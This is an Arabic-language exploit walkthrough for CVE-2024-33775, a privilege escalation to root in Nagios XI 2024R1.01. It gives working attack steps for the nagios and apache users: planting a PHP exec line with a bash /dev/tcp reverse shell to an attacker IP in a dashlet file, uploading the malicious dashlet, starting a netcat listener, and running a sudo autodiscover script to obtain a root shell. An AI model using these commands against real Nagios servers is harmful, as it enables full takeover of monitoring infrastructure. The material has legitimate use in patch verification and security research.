CVE-2024-33775

CVE تم اكتشافها بواسطة: K. Wahab (Neo`X)

تفاصيل الثغرة:

• المنتج: Nagios XI Version 2024R1.01
• الثغرة: تصعيد الامتيازات من المستخدمين "NAGIOS" أو "APACHE"
• النتيجة: وصول كامل بصلاحيات الجذر (root) على النظام المستهدف
• CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-33775

الاستغلال:

يُستخدم RSS Dashlet في هذا المثال.

1. إنشاء نسخة جديدة من Nagios XI:

• يمكنك تنزيل ملف OVA الخاص بـ Nagios XI Version 2024R1.01 من: https://assets.nagios.com/downloads/nagiosxi/2024/ovf/nagiosxi-2024R1.0.1-64.ova

2. تصعيد الامتيازات:

الاستغلال كمستخدم NAGIOS:

• أضِف المحتوى التالي داخل ملف .inc.php الخاص بـ dashlet في المسار "/usr/local/nagiosxi/html/includes/dashlets/" :

exec('/bin/bash -i >& /dev/tcp/<Attacker IP>/4441 0>&1);

• شغّل خادم استماع Netcat على جهاز المهاجم:

nc -nlvp 4441

• نفّذ الأمر التالي لتصعيد الامتيازات واستقبال اتصال بصلاحيات الجذر (root):

sudo /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php --addresses=127.0.0.1/1

الاستغلال كمستخدم APACHE:

• انتقل إلى صفحة إدارة "dashlets" وقم بتنزيل dashlet:

  root@kitploit:~

  http://TARGET_IP/nagiosxi/admin/dashlets.php?download=rss_dashlet
  

• عدّل ملف *.inc.php:

  root@kitploit:~

  exec("sleep 30 && /bin/bash -c '/bin/bash -i >& /dev/tcp/<Attacker IP>/4441 0>&1'");
  

• شغّل خادم استماع Netcat على جهاز المهاجم:

nc -nlvp 4441

• ارفع الـ dashlet الخبيث في صفحة إدارة dashlets وانتظر الاتصال كمستخدم APACHE.
• نفّذ الأمر التالي لتصعيد الامتيازات واستقبال اتصال بصلاحيات الجذر (root):

sudo /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php --addresses=127.0.0.1/1

(ملاحظة: بعد تنفيذ الأمر ستستقبل اتصالًا كمستخدم APACHE، استخدم CTRL+C للخروج وأعد تشغيل المستمع عدة مرات)